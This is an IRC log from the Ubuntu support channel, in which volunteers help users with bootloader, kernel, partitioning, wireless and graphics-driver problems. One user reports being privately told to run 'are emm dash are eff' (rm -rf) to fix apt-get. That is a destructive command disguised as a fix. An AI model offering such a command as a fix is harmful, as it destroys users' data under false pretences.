[00:02] !java [00:02] To install a Java runtime on Ubuntu, see https://help.ubuntu.com/community/Java. For the Sun Java products and browser plugin, search for the sun-java6- packages in the !partner repository on Lucid (which must be enabled), or !multiverse repository on older releases.

[00:04] a11: well, the users mail -will- be using gmail, via the dns mx record, but this is just the outgoing site mail [00:05] I see [00:05] Anyone have any idea why a USB network adapter would be randomly turning on and off, or pausing activity for 30sec or so.. on Ubuntu, when it acts normally on other OS's? [00:05] j_ayen_green: Installing the php-mail package will probably make things easier, but not sure where to go from there.

[00:10] pyrite post a lsmod to pastebin.com [00:10] i just want to wipe it [00:10] ow [00:10] how? [00:11] vacho: Depends on what the log file is used for and where its at [00:11] Is there anyway I can reset my GNOME session from the console?

[00:12] Every time theres a kernel update, it adds two more entries, and it pushes windows further down [00:12] Yeah === lost is now known as Guest87924 [00:12] Irreducibilis: Just remove the old kernel packages.

[00:13] Guest87924: A previous bootloader or a previous entry from the bootloader? [00:13] >Instead, you will need to add "multiverse" to the existing main line in /etc/apt/sources.list [00:14] guys im asking a simple question [00:14] Darael: not a entry but a previous bootloader [00:14] how do I clear the data in a log file???????????????????????? [00:14] hey guys i need some help with my ubuntu [00:14] Irreducibilis: Have you used System > Administration > Synaptic Package Manger before? [00:14] pyrite, several things to try: get a new firmware if there is one. it's called rt2870.bin [00:14] It looks like this is done, but I get no response from sudo apt-get install sun-java6-bin [00:14] someone can helpme? [00:14] Jordan_U, Yeah... I didn't expect something like the "kernel" to be there though... [00:14] jor: ask question [00:15] pyrite, the module rt2800usb has an option to turn off hardware encryption. it might help [00:15] how do I clear the data in a log file (dont tell me to delete it..I just want to clear it..empty it) [00:15] some help here? [00:15] Guest87924: You upgraded the grub package? In that case, "sudo apt-get install =version" will downgrade to a given version. If you're changing to a different bootloader, it should be sufficient to install its package. [00:15] jor: with? [00:15] jor: Ask your question. If someone knows, someone may help. If no one knows, they can't help. [00:15] anel [00:15] fV: [00:15] how can i get it back?

I don't quite understand what you're asking/saying. If you don't need anything from backports, just disable the repo.

[00:18] Darael: i wanted to have 2.6.35-24 to be default [00:18] kosaidpo: I don't quite understand what you mean. If you want to be able to call your script whatever your working directory is, you'll probably need to add your scripts folder (you do have one, right?) to your $PATH [00:19] Guest87924: Ah, so a different kernel as default. In that case, take a look at this: [00:19] !grub2 | Guest87924 [00:19] Guest87924: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows?

My sound will not work at all. I have made sure the speakers are plugged in and the system volume is up as well as the speakers themselves. Still the sound does not work. Is there anything I can do in the command line? [00:25] bencahill, either a wrong setting in /etc/fstab or in grub [00:25] I recently ran apt-get upgrade and after a reboot I have noticed that ps and top no longer display the username but instead just the UID. Logging in works fine, pwck didn't report any problems and ls still correctly displays the username for the owner of files. Any ideas? [00:25] bencahill: I don't even think it's format, just making sure I wasn't using it as a data drive [00:25] (I have two of this perticular drive) [00:25] shadaloo: For windows questions try ##windows. [00:26] shadaloo: if it's not formatted, it obviously doesn't have any data on it! [00:26] bencahill, you can find out the correct uuid with tune2fs [00:26] sam-_-: I got it with blkid [00:26] bencahill okay that's what I imagined but I but format is data drive then? [00:27] bencahill, that works as well. sure [00:27] Darael: this is how i typed it export PATH=~/bin/connect.sh:$PATH'>>~/.bashrc but it gives me hand to type sumthin after you kno those > [00:27] sam-_-: fstab: http://paste.ubuntu.com/546041/ [00:27] sam-_-: ^^ on usb, grub (on hdd): http://paste.ubuntu.com/546049/ [00:27] kosaidpo: Ah.

[00:30] hevo: what? [00:30] Jordan_U, Bah, I'm out of blank discs...

Misread what you said.

[00:31] sam-_-: bencahill: grub's usb.mod is only needed if your BIOS doesn't support booting from USB. [00:31] i just bought a new laptop and i installed ubuntu but the wireless would not work.. [00:32] Jordan_U: that is a true condition in this case :) [00:32] figured it out [00:32] Jordan_U, interesting i didn't know that [00:32] peace [00:32] not sure how i can configure it.. [00:32] sam-_-: ok, one moment [00:32] kosaidpo: edit ~/.bashrc and add the line "export PATH=~/bin:$PATH" (no quotes) at the end. Then reload your terminal. [00:32] when would you choose eCryptfs over LUKS? [00:32] someone just msg'd me are emm dash are eff to fix my apt-get update issue [00:32] what is are emm dash are eff? [00:32] drupalnewbie: what wireless card? (lshw -C network) [00:33] ok Darael ill let you onk [00:33] hmm lemme check [00:33] kosaidpo: Of course, if you've changed your shell (you'll know if you have) then use the appropriate config file. [00:33] bencahill: Where is grub booting from currently? You'll need to install grub itself to a media that your BIOS can boot from, even if the rest of Ubuntu is on USB. [00:33] but when i try the live cd it works tho [00:33] Darael: i didint get this last msg [00:33] i didnt chage my shel at all Darael === eric is now known as Guest804 [00:34] kosaidpo: Then that's fine and my previous instruction holds. [00:34] Jordan_U: grub is on the hdd [00:34] Darael: this one export PATH=~/bin:$PATH [00:34] Jordan_U, why would that be? [00:34] Darael: thanks it works :D [00:34] Jordan_U: ...from an hdd install, which I am transferring to a USB install...hdd is fine to have there, I just don't want it to be the main drive so I can spin it down for quietness :) [00:34] kosaidpo: Glad to hear it. [00:35] sam-_-: Because if the BIOS supported booting from USB it would already be presenting the drive to GRUB via the BIOS interfaces. [00:35] Does anyone know how to reset my login sessions from xmonad back to GNOME from the command line? [00:35] sam-_-: ok, I am at the grub cl, what should I type? [00:35] excuse me, syntax highlighting in gedit isn't working for me, and trying to install a plugin gave me this: [00:35] ** (gedit:2957): WARNING **: symbolbrowser: libgnomeprintui-2-2.so.0: cannot open shared object file: No such file or directory [00:35] bencahill: Easiest thing to do in that case is setup a separate /boot partition which will be kept on the internal drive. [00:36] bencahill: Then you don't need to do anything fancy with usb.mod. [00:36] bencahill, i don't no. but you should see all the commands by typing help [00:36] Jordan_U: I know, but if I could get it working with this, I would rather that, then I can leave the hdd install intact if I want to boot to it later [00:36] sam-_-: ok, I'll figure it out :) thanks for the info :) [00:36] lspci [00:37] parolang: kill xmoand and eventually xservet (than you can go xinit -- :1 vt8), startx (if this take you back to xmonad try gdm) [00:37] what command do you type to search for applications in terminal? [00:37] flaket: apt-cache search searchterm [00:37] bencahill: i have 2 and one is broadcom and the other is atheros com.. [00:38] drupalnewbie: both aren't working? [00:38] bencahill: Just know that to accomplish this using grub's native USB driver's you'll have to do a lot of figuring things out on your own (I would help but I need to leave soon). [00:38] well am trying to use the wireless [00:38] and i dont have an option to scan for network [00:39] drupalnewbie: what kind of wireless card?

I'm confused, does it mean that person blocked/removed me? [00:54] i keep getting this message at boot up "failed to get i915 symbols, graphics turbo disabled error on boot" [00:54] does anyone know fix for it? [00:55] added* [00:55] is there a fake / placeholder smtp server package in ubuntu? I'm doing my own custom thing for mail, but I need packages that depend on having one. I dont want to install postfix etc [00:55] should my linux swap be double my ram? [00:55] anyone knows a program to record a .avi video from desktop usage [00:55] How can i control fan speed? I use ubuntu 10.10 64bit. fans are always at full speed [00:55] bencahill: how can i see my pc in network folder of windows? [00:56] alphablaster, its not really necesary if you have at least 2 gigs ram i would just have 2g swap [00:56] stilia-johny: why? [00:56] stilia-johny: you mean Network Places? [00:56] noonian, i have a really old laptop that has like 500mb ram [00:56] oh, then yeah 1 gig swap [00:57] stilia-johny: ...I always hated that thing :) [00:57] noonian, thanks [00:57] i keep getting this message at boot up "failed to get i915 symbols, graphics turbo disabled error on boot" [00:57] alphablaster, welcome [00:57] alphablaster: 1.5GB swap if you can afford the space [00:57] running dual OS and grub is messed up...think it has to do with a recent reboot where I opted to update grub [00:57] any idea? [00:57] stilia-johny: map a drive to it, Tools > Map Network Drive in My Computer === jsurfer_ is now known as jsurfer [00:57] i keep getting this message at boot up "failed to get i915 symbols, graphics turbo disabled" error on boot. does anyone know a fix or work around for it?? [00:58] Ashattack22, Super Grub Disk will be your best friend [00:58] stilia-johny: or make a link to //IPADDRESS [00:58] stilia-johny: ...that will show a list of shares (or should) [00:58] bencahill: is it problem because i have an apache server? [00:58] in linux [00:58] stilia-johny: no [00:58] Roger that Alpha, thanks [00:58] glitchd, me too. why does it bother you? [00:59] sam-_-, i cant enable desktop effects [00:59] anyone knows a program to record a .avi video from desktop usage??? (like recording a chat conversation) [00:59] glitchd, oh wait. mine doesn't say graphics turbo disabled. sry [00:59] Does zimbra need license? [00:59] stilia-johny: I honestly have never seen the point of Network Places...if you really want it in there, I'm sure there's a way, just a minute... [00:59] bencahill: i cant view my ubuntu in workgoup folder of windows????? [00:59] sam-_-, i got my laptop with 8 gigs of ram just so i could enjoy them [00:59] djhash like a screen recorder? [00:59] sam-_-, ughhh [00:59] djzn ** [00:59] stilia-johny: xp? [00:59] glitchd, what does that have to do with 8 gig ram? [01:00] ICM, what [01:00] bencahill: vista [01:00] and xp but give me for xp [01:00] sam-_-, i got the 8 gigs so i could really turn up the desktop effects without sacrificing performance [01:00] stilia-johny: ok, but let's go over to #ubuntu-offtopic, as this has nothing to do with ubuntu :) [01:01] im installing ubuntu right now what mount point do I want for my ext4 partition? [01:01] alphablaster: / [01:01] glitchd, afaik you don't need more than ~2gb [01:01] glitchd: it more related to the grapics/cpu combo than ram [01:01] djzn, are you looking for a screen capture program? [01:01] bencahill, any reason why? [01:01] alphablaster: wait, what are you using the ext4 for, the main? [01:01] glitchd, even that seems pretty high [01:01] glitchd, ive got desktop effects enabled on my 1GB RAM netbook :P [01:01] alphablaster: ??? [01:01] ICM: yes... [01:01] My graphics card is some on-board Intel chip, how can I tell if the driver is installed? [01:02] bencahill, I am using a ext4 for the boot loader [01:02] ive got it on 320mb [01:02] Rhynarian, is compiz running? [01:02] ICM: usually to prove something, you just print a chat... but a better proof is when actually you can record a chat [01:02] djzn: I'm not familiar with any really, but perhaps this will help: http://linuxappfinder.com/graphics/screencapture [01:02] hi [01:02] alphablaster: just for grub? or /boot? === khisanth_ is now known as Khisanth [01:02] Rhynarian, open system/preferences/appearacne the Visual effects tab [01:02] glitchd: heh, compiz isn't really dependent on ram at all [01:02] djzn Haha, sounds like you're up to something interesting [01:02] bencahill, I am installing ubuntu [01:02] Rhynarian, tell which is ticked [01:02] alphablaster, wht are you putting the bootloader in other then the mbr [01:02] why [01:02] ICM: crap going on the university... [01:02] aeon-ltd: my point exactly [01:03] aeon-ltd, no its not directly [01:03] i need help installing ubuntu studio 140.04 on a already installed version of ubuntu [01:03] 10.04 [01:03] ICM: and there's a lot of talk-talk but no one put their money where their mouths are... [01:03] coz_, yes, it is. Does that mean the driver is functioning? [01:03] alphablaster: just use the guided partitioning, it's easy [01:03] nit-wit, where should i put the boot loader [01:03] glitchd: so why invest in ram? [01:03] Hey, how do i change the menu buttons back to the other side, simpliest way [01:03] djzn Oh fun -.- [01:03] aeon-ltd, but u need a good amount if u dont want ur system to stutter all over the place [01:03] Rhynarian, if anything but "none" is ticked then yes it is installed and working [01:03] alphablaster, in the HD=mbr if the HD id sda put it in sda [01:03] glitchd: again not true, this isn't windows [01:03] ICM: recording the chat, I can actually PROOVE some son of a rich SAID something... [01:03] Rhynarian, you can sudo apt-get install compizconfig-settings-manager and play with the settings in there [01:04] bencahill, I only have to options 1 erase and use entire disk or 2 specify partions [01:04] coz_, ok, thanks [01:04] glitchd: how much ram are you using now (out of 8gb) [01:04] Hey, how do i change the menu buttons back to the other side, simpliest way please [01:04] aeon-ltd, 7.7 [01:04] can someone help me [01:04] Rhynarian, to open that either alt+F and type ccsm or go to system/preferences/compizconfig settings manger [01:04] djzn, gotcha. http://linuxappfinder.com/graphics/screencapture << This is the best I can do, I haven't used any of them though :/ [01:04] in a private chat? [01:04] glitchd: what the hell are you running? [01:04] nit-wit, so could i use /dev/sda5 [01:05] aeon-ltd, well im usually running a webserver and a site from my laptop [01:05] glitchd, you can also try another kernel from here: http://kernel.ubuntu.com/~kernel-ppa/mainline/ [01:05] aeon-ltd, and watching movies/downloading torrents [01:05] glitchd: I havew 4GB ram 64bit 10.10 and I haven't even cracked half usage in mem yet [01:05] I would try this, djzn, http://linuxappfinder.com/package/xvidcap [01:05] itaylor57, well thats u my friend [01:05] alphablaster: do you not want to use the entire disk? [01:05] glitchd: thats it? [01:05] ICM: sounds like just WHAT i need [01:05] alphablaster, I don't think we are on the same page. when you install Ubuntu iot has it's own grub installed the grub bootloader goes in the mbr [01:05] djzn :) [01:06] ICM: thanks [01:06] aeon-ltd, whats it? [01:06] bencahill, I am dual booting xp [01:06] djzn: no problem! good luck with the uni [01:06] glitchd: just movies taking up ram? [01:06] ICM: bullying you know [01:06] alphablaster: oh, do you have free un-partitioned space on the drive? [01:06] aeon-ltd, no my ram is never fully taken up, which is what i wanted [01:06] djzn ugh -.- [01:06] glitchd, fyi i have 2gb ram. no swap and /tmp lives in ram. never ran out of ram [01:06] aeon-ltd, i wanted to have ram left over [01:07] bencahill, I made two partitions 1 for the ext4 and 2 for the swap [01:07] glitchd, what do you do to use this much ram? [01:07] sam-_-, ok, thats great [01:07] glitchd: btw unused ram in linux is essentially wasted ram [01:07] glitchd, i don't use effects though [01:07] sam-_-, nothing in particular [01:07] nit-wit, what do you suggest [01:07] glitchd: you'd only ever need about 300mb reserve in case of flash and java applications [01:08] my system specs are not important, nor are they what i came here to discuss [01:08] aeon-ltd, my system specs are not important, nor are they what i came here to discuss [01:08] glitchd, lol. ok [01:08] alphablaster, without really knowing what your set up is, and your goals I'm not sure. I just noticed the grub to a partition I was curious why [01:08] aeon-ltd, im trying to fix an error msg that i get at boot [01:08] alphablaster: you have already made them, alongside the windoze partition? or are you in the ubuntu install process? [01:08] sam-_-, im trying to fix an error msg that i get at boot [01:08] glitchd, were just jealous [01:09] sam-_-, lol i bow in respect friends [01:09] glitchd: ok, just saying is all; that in linux ram management is different to windows, and btw its way more fun trying to minimise ram requirements whilst maximising function [01:09] sam-_-, this is the first good laptop ive had [01:09] hey all. I'm trying to compile a driver for my wifi card, but I need to get my kernel headers first. Of course, I can't download them onto that machine because there's no wifi driver. Could somebody do a "sudo dpkg -i linux-headers-2.6.20-16-2be-k7_2.6.20-16_i386.deb" and then file transfer the output to me? [01:09] Hi I have question about kernel dynamic modules [01:09] Anyone here got xbox live? [01:09] bencahill, i have made the 2 partitions using windows, and now i am in the ubuntu install process [01:09] aeon-ltd, true indeed [01:09] glitchd, try a kernel from here: http://kernel.ubuntu.com/~kernel-ppa/mainline/ [01:09] sam-_-: and i thought my 4GB was lean :>) [01:09] glitchd: anyway could you pastebin the error? [01:09] !ot | Yixter [01:09] Yixter: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks! [01:10] aeon-ltd, its at boot so i dont get a chance to copy it [01:10] is any option to add my own alias to parport_serial module? [01:10] glitchd: can you remember parts? [01:10] itaylor57, i would get more if i ever needed more. not yet though [01:10] alphablaster: ok, so you have 3 partitions, or 4? [01:10] bencahill, 3 [01:10] aeon-ltd, but it says this basically, "failed to get i915 symbols, graphics turbo disabled" [01:11] glitchd, you may want one from drm-intel-next [01:11] aeon-ltd, thats exactly what it says [01:11] glitchd: and the problems after boot are? [01:11] sam-_-, one what? [01:11] alphablaster: ok, so one for xp, one for ubuntu (ext4), and one for swap (swap), right? [01:11] bencahill, correct [01:11] aeon-ltd, well im not sure if they are related or not but, i cant enable desktop effects [01:12] glitchd, go to http://kernel.ubuntu.com/~kernel-ppa/mainline/ then to drm-intel-next folder [01:12] glitchd: are you running i3/i5/i7 intel? [01:12] alphablaster: ok, just making sure, so what was your original question? :) [01:12] aeon-ltd i5 or i7 [01:12] aeon-ltd i3s don't have turbo [01:12] aeon-ltd, i5 [01:13] bencahill, is it correct for me to choose ext4 for bootloader installation [01:13] hey, I need to compile some wifi drivers but I can't download them on my ubuntu machine because there are no wifi drivers. lol. Can anyone send me the Maverick kernel headers? The file should be -i linux-headers-2.6.20-16-2be-k7_2.6.20-16_i386.deb [01:13] glitchd: yeah... i'd go with sam-_- 's idea [01:13] sam-_-, what did u send me there for? really i dont know.. [01:13] is it the biggest IRC regarding ubuntu === mac9416_ is now known as mac9416 [01:13] glitchd: kernek withh different modules for intel cards [01:13] glitchd, you can download a newer kernel from there [01:13] alphablaster: i'm not sure what it means by "bootloader", because the mbr is the mbr :-/ [01:13] glitched pm [01:13] botdog: this is the offical ubuntu channel so [01:14] aeon-ltd, sam-_- how do i know which one i need or which one to download? [01:14] ok [01:14] join #xubuntu [01:14] sam-_-, cant i upgrade or change my kernel from synaptic? [01:14] glitchd, 32-bit or 64-bit? [01:14] sam-_-, 32 [01:15] bencahill, at the bottom of the ubuntu installation page it reads: Boot Loader, Device for boot loader installation: then i choose /dev/sda5 (which is the ext4) [01:15] glitchd, see the dialogue window [01:15] glitchd, try this one: http://kernel.ubuntu.com/~kernel-ppa/mainline/v2.6.36-maverick/linux-image-2.6.36-020636-generic_2.6.36-020636.201010210905_i386.deb [01:15] glitchd, it has no dependencies afaik [01:15] if i do an ls and it lists file.text for do i make it just output file [01:16] alphablaster: wait, I thought you only had 3 partitions? [01:16] bencahill, I have 3 partitions [01:16] glitchd, btw. if you use 32-bit you won't be able to use 8gb. only about 4gb [01:16] glitchd, or 2^32 byte [01:16] I have ubunut server 10.04 how can I restart the syslog server??? [01:17] alphablaster: not on /dev/sda, it has at least 5 [01:17] bencahill, my second partition is : /dev/sda5 [01:17] sam-_-: 3.8GB [01:17] sam-_-: / glitchd you can use 8GB on 32-bit Ubuntu [01:17] alphablaster: no, that's the fifth partition (what the "5") means :) [01:17] Hey, how do i change the menu buttons back to the other side, simpliest way please [01:17] !pae [01:17] To use more than ~3.2GB RAM on a 32bit system you can install the PAE-enabled kernel. See https://help.ubuntu.com/community/EnablingPAE for more info [01:17] popey, oh right with pae? [01:17] sam-_-: yes [01:17] popey, y. i forgot [01:18] bencahill, my first partition is sda1 my second is sda5 and my third is sda6 [01:18] Does anyone have a Western Digital EARS drive? I'm considering switching from Windows to Linux as my primary OS, and I don't want hard drive compatibility to be an issue. Anyone familiar? [01:18] alphablaster: so what are sda2,3,4? phantom partitions? [01:18] bencahill: they dont have to exist === petr is now known as Guest3750 [01:19] bencahill: perfectly normal to have sda1, sda5, sda6, nothing to worry about [01:19] bencahill, should i delete the sda5 and 6 and make 2 new partitions? [01:19] popey: so why the number skip? [01:19] alphablaster: no wait... [01:19] popey, thank you [01:19] bencahill / alphablaster my first disk has sda1, 2, 3, 5, 6 :) [01:19] popey: why? [01:20] bencahill: because primary partitions are numbered 1-4, and you can only have 4 [01:20] bencahill: the rest are 'extended partitions' [01:20] bencahill: its mostly for old legacy uninteresting reasons [01:20] popey: is it fine if ubuntu is in an extended partition? [01:20] bencahill: sure [01:20] bencahill, 4 primary partition are allowed. so the first logical is always number 5 [01:20] bencahill: mine is here [01:20] any way to restart a syslog server [01:21] bencahill, no matter how many primary part. you have [01:21] bencahill: I have only one primary partition here, and it's got windows in it, the rest are extended [01:21] popey: just for terminology, there is one "extended" partition, which can have multiple logical (sda5,6) in it, iirc [01:21] sam-_-: thanks, got it :) [01:22] bencahill: can do, yes [01:22] bencahill: or you can have multiple extended partitions [01:22] bencahill: either way works [01:22] SuperPaco69, in 10.10 sudo restart rsyslog [01:23] popey: true, but I don't believe an extended partition can be formatted, it always has to have at least one logical partition for it to be useful :) [01:23] anyone - I need a .deb but my ubuntu computer's wifi isn't working quite yet (that's why I need the .deb). Could one of you download it for me and then send it my way? [01:24] redwings: lol? [01:24] bencahill: I'm not arguing with you :) [01:24] redwings, huh? [01:24] yeah lol === Guest3750 is now known as trauler [01:24] it's as good as any name i guess [01:24] popey: :) [01:24] redwings, do you have anything else that could download it? eg a laptop, a psp, an ipod [01:25] I've got a PSP, but I haven't seen it in the ubuntu package repo [01:25] it's linux-headers-2.6.20-16-2be-k7_2.6.20-16_i386.deb and it's available with dpkg [01:25] redwings, download the .deb to your psp common and transfer the file using a usb cable [01:25] redwings: you're on the internet, how is an email easier/different than downloading it? :-/ [01:25] I've done that with a few other packages already, but I can't find it [01:25] sam-_-, yes actually u can use all of the ram, u just have to install a pae type kernel [01:25] I can check again, but it doesn't seem to be there === taka is now known as Guest90193 [01:26] redwings: phantom files? [01:26] glitchd, yes. someone already told me. [01:26] redwings: how are you online now? [01:26] alphablaster: :) - what I was thinking :) [01:26] lol [01:26] I've got a dinosaur in this little 10x10 foot room in the basement ha [01:26] sam-_-, okie dokie then [01:27] any way to restart a syslog server [01:27] redwings: dinosaur = computer? If you have a usb stick, you can put it on there... [01:27] SuperPaco69, in 10.10 sudo restart rsyslog [01:28] bencahill: i think he was joking... [01:28] actually, nothing useful comes up when I search for "linux headers" at the ubuntu package site. I know how to use USB sticks and all that - it's downloading the package that's the problem [01:28] I also seached the exact file name [01:28] sam-_-, and ubuntu 10.04?? [01:28] and yeah, dinosaur=ancient pc lol [01:29] SuperPaco69, the same i think, just try it [01:29] redwings: okay so you cant dowload a file because your wifi isnt working however you can use chat? [01:29] alphablaster: LOLOLOL! === a11 is now known as GoogleApparently [01:29] I'm on the old dinosaur, and I need the package to compile a wifi driver for the ubuntu pc. I would use the ubuntu pc, but there is no wifi driver [01:29] there's no chance of plugging it into ethernet [01:29] the ubuntu pc, that is [01:29] alphablaster: see, I was right :) [01:30] sam-_-, no I triedn and nothing [01:30] redwings: get an ethernet cord (crossover) and plug both devices together [01:30] Anyway, this dinosaur is such a dinosaur that it would be impossible for me to start up the live cd on it [01:30] then it might still be in /etc/init.d/ [01:30] redwings: why is there no chance of plugging ethernet into it? you also have to remember dependencies... [01:30] SuperPaco69 then it might still be in /etc/init.d/ [01:31] Negative - they're on different floors [01:31] it's no fun, I know [01:31] hello buddies ! [01:31] heya [01:31] redwings: you did mention that you have a psp... correct? [01:31] yeah [01:31] alphablaster: wouldn't solve the internet problem, unless dinosaur has two network cards... [01:31] redwings: open the psp browser [01:31] redwings: you can't move it temporarily? [01:31] redwings: I move computers around all the time! [01:32] I would if I could ;) [01:32] I'm not in the greatest situation, i know [01:32] I can't get in desktop environment when i upgrade to testing, the system is debian ! [01:32] psp browser's open [01:32] by the way, I also have a browser on the dinosaur! [01:32] redwings: how about a windows laptop with a crossover cat5 cable, with wifi and ics? [01:33] GinTonic: this is #ubuntu......try #debian [01:33] redwings: dowload .deb [01:33] I recently installed ubuntu 10.10 64bit on a machine.. when it boots... grub loads but doesn't seem to do anything.. it's stuck at a blinking cursor screen... I can hold shift to get into the grub options.. using the live cd works fine... do i have some video driver problem? [01:33] The reason I'm asking for help here is that the .deb isn't anywhere [01:33] redwings: put it in the common folder on your memory stick [01:33] not on packages.ubuntu.com and when I google it all I get is instructions on how to compile drivers [01:33] redwings: what deb¿ [01:33] Hello, I'm trying to run an executable from a CD image, but it does not have executing permissions, and the properties window only gives a message saying that the permissions cannot be determined [01:33] it would be really cool if you could dpkg it and then file transfer it to me [01:33] linux-headers-2.6.20-16-2be-k7_2.6.20-16_i386.deb [01:33] i know this is ubuntu chatroom ,sorry ! [01:34] puda - sudo chmod +x [executable] [01:34] GinTonic: Its a Ubuntu Support Channel [01:34] redwings: did you dowload the .deb [01:34] How can I give it permission to run? [01:34] no, I did not [01:34] I cna't [01:34] LOL [01:34] redwings: why? [01:34] what's going on with Ubuntu fglrx driver? I'm getting 60FPS? With the same driver I used to get 1500 FPS on Debian!!! [01:34] redwings: right here: http://packages.ubuntu.com/maverick/linux-headers [01:34] Because it's not on packages.ubuntu.com. When I google the deb, all I get is instructions on how to use it [01:35] redwings: right above you :) [01:35] ok, I clicked it [01:35] finally [01:35] why ?debian is the same like ubuntu [01:35] redwings: go to the one for your kernel, and click on "all" [01:35] hi, is it possible to switch close windows and minimizer to the right like in windows? [01:35] that's incredible, considering that I googled it five pages back and that I searched the exact file name on the packages site [01:35] s5s, maybe vsync is enabled? [01:35] sam-_-: How do I check and disable it? [01:36] s5s, depends on the application [01:36] redwings: sometimes things are simpler than you think :) [01:36] GinTonic: no, stop [01:36] redwings: what exactly are you trying to do¿¿ [01:36] sam-_-: I'm using glxgears to check for FPS. I suppose vsync is not enabled then [01:36] thanks for the help man [01:36] come on , buddy,help me !thank you [01:36] s5s, or maybe in the catalyst control center [01:36] !windowcontrols | M4d3L [01:36] xangua: long story :) [01:36] !windowcontrol [01:36] sam-_-: I'm using the open source driver [01:36] agg can't remember it [01:36] s5s use a real benchmark or a game [01:37] GinTonic: they are not the same, debian help is in #debian [01:37] long story lol!!! [01:37] s5s huh? u said fglrx? [01:37] sam-_-: Yes, with 60FPS I can surely run a game [01:37] Hello everyone, i love ubuntu far better than windoz but i cant install my epson workforce 520 printer, any suggestions? [01:37] KM0201: wait, not the same? dangit! [01:37] sam-_-: sorry I made a mistake. I'm using radeon. [01:37] ubnoob, have you tried wine [01:37] bencahill: GinTonic seems to think so..lol [01:37] !controls | M4d3L [01:37] M4d3L: In Lucid, the minimize, maximize, and close buttons have been moved to the left side. For more information, please see https://bugs.launchpad.net/ubuntu/+source/light-themes/+bug/532633/comments/564 | To move them back to the right-hand side, see http://sites.google.com/site/alucidfs/how-i-do/move-buttons-to-right-side [01:37] KM0201: lol :) [01:37] s5s glxinfo|grep -i direct [01:38] it's on [01:38] no, but i was going to ask- will it work? [01:38] ubnoob - a lot of printers are actually rebranded from other smaller companies. My Dell AI0 photo printer was actually a lexmark printer [01:38] ok ,thank you very much ! I'll be back ! [01:38] :) [01:38] alphablaster: wine to instal a printer¿¿......... [01:38] :) [01:38] s5s then you are good. did you use radeon on debian too or fglrx [01:38] last time I checked wine didn't support printer drivers, but that was a few months ago [01:38] !printer [01:38] ubnoob: is it supported¿ [01:38] Printing in Ubuntu is done with cups. See https://help.ubuntu.com/community/Printers - https://wiki.ubuntu.com/HardwareSupportComponentsPrinters - http://linuxprinting.org - Printer sharing: https://wiki.ubuntu.com/NetworkPrintingFromWindows [01:38] bye guys, thanks for the help [01:38] xangua: what's with the ¿ ? [01:38] xagua, i thougt he was talking about a .exe [01:38] redwings: thats nice to know [01:39] sam-_-: radeon of course. I wouldn't be complaining otherwise. [01:39] no suport for linux [01:39] ubnoob, check http://appdb.winehq.org/ [01:39] sam-_-: on debian it was even buggier but once I got it working I got 1500FPS [01:39] So, does anyone know how I can execute a .exe with WINE from an iso image with the permissions set to 'do not allow', as I cannot find how to change them. [01:40] sam-_-: I used to get 200FPS in Ubuntu which was "acceptable". With fglrx I get about 550 FPS. [01:40] s5s, as said. glxgears is not a reliable benchmark. also the radeon drivers are under heavy development depending on your card [01:40] sam-_-: My card is 4 years old. It probably gets very little developmnet [01:41] s5s hd3xxx? [01:41] sam-_-: X1400 [01:41] s5s oh. they aren't even supported by fglrx anymore :-) [01:41] sam-_-: I have an hd3450, didn't think it was that old! :) [01:41] Flare183: the command did nothing [01:41] bencahill, y. might be newer [01:42] sam-_-: I know :) That's why I'm using the open source driver. In debian it was a nightmare at the start because to get it working I had to blacklist it. [01:42] M4d3L: its in gconf-editor === The_rogue_smiler is now known as _______________ [01:42] sam-_-: well, it was a few years ago :) [01:42] Flare183: what is that. Iam a little new to ubuntu [01:43] sam-_-: Only then it would load properly. As to why it loaded at all after I had it blacklisted is as much of a mystery as it is to you. [01:43] Hey everyone I am trying to setup sftp so that a certain user(test) can only access and sftp into /var/www/. But for some reason when I try to login it just says /bin/bash: No such file or directory [01:43] Connection to localhost closed. [01:43] I recently installed ubuntu 10.10 64bit on a machine.. when it boots... grub loads but doesn't seem to do anything.. it's stuck at a blinking cursor screen... I can hold shift to get into the grub options.. using the live cd works fine... do i have some video driver problem? [01:43] s5s maybe one of the driver options will help you. like disable kms. [01:43] !gconf [01:43] M4d3L: I'm looking hold on [01:43] s5s modinfo radeon to investigate :-) [01:43] sam-_-: how do you do that === GoogleApparently is now known as jmad980 [01:43] sam-_-: Oh, ok [01:44] M4d3L: Here is a screenshot of what you need to change that entry to: http://flare183.net/screenshots/Screenshot-31.png [01:45] Flare183: png for a screenshot? [01:45] of course [01:45] sam-_-: Hmmm I wish it just worked. I thought that's the point in Ubuntu. Take away that and you're left with very little. [01:45] Print Screen ftw [01:46] s5s y. ubuntu can be a bitch :-) hugely depends on the hardware [01:46] is there any difference between mount ntfs and mount ntfs-3g? [01:46] bencahill: i have often wondered that myself... doesn't make much sense to me. [01:46] Flare183: I see that button_layout but how to put it to right? [01:46] s5s graphics drivers are one area off linuxs weaknesses [01:47] anyone ever get this error msg? --"failed to get i915 symbols, graphics turbo disabled" [01:47] Flare183: nvm I think I have understand [01:47] M4d3L: What I have there, is the correct way to put it [01:47] nice! its instant :) [01:47] on windows you may have to reboot :P [01:47] glitchd: no answer in the forums so probably not [01:48] M4d3L: Lol winblows for ya xD [01:48] KM0201: ah yes, I see now that png is the default for ubuntu, never tried it before :) it does seem overboard, I guess it depends what you're taking a screenshot of [01:48] yea [01:48] KM0201: I would much prefer bmp [01:48] bmp doesn't open directly in most web browsers [01:48] bencahill: that or JPG... [01:48] Plus its a native winblows format [01:48] lucas, yes. afaik ntfs uses the internal driver of the kernel and ntfs-3g is a userspace driver via fuse [01:48] hi, i installed ubuntu on an sata port and later moved it to an sata 3 port, and now when i try to boot it takes me to initramfs shell and says that the disk does not exist. what can i do? [01:48] KM0201, Flare183: jk! :-P [01:48] sam-_-: yes. I know, unfortunately. It's gonna get better. I remember living through hell with my wifi which was ridiculous. Anyway thanks for the help. I'll go and do some C++ now. Take care [01:48] Flare183: I have try Win7 theme for ubuntu but it is bugged because of my nvidia :( [01:48] lucas, use ntfs-3g if you want write access [01:49] s5s cu [01:49] itaylor57, i know i cant be the only one ever that has gotten this msg [01:49] sam-_- thanks for your reply. Was just using both of them with no apparent problems so far. Just wanted to know [01:50] glitchd: and the answer hasn't been found [01:50] hi, i installed ubuntu on an sata port and later moved it to an sata 3 port, and now when i try to boot it takes me to initramfs shell and says that the disk does not exist. what can i do? [01:50] glitchd, did you try a new kernel yet? [01:50] itaylor57, so what, your telling me to stop looking? [01:50] sam-_-, i believe so, but im 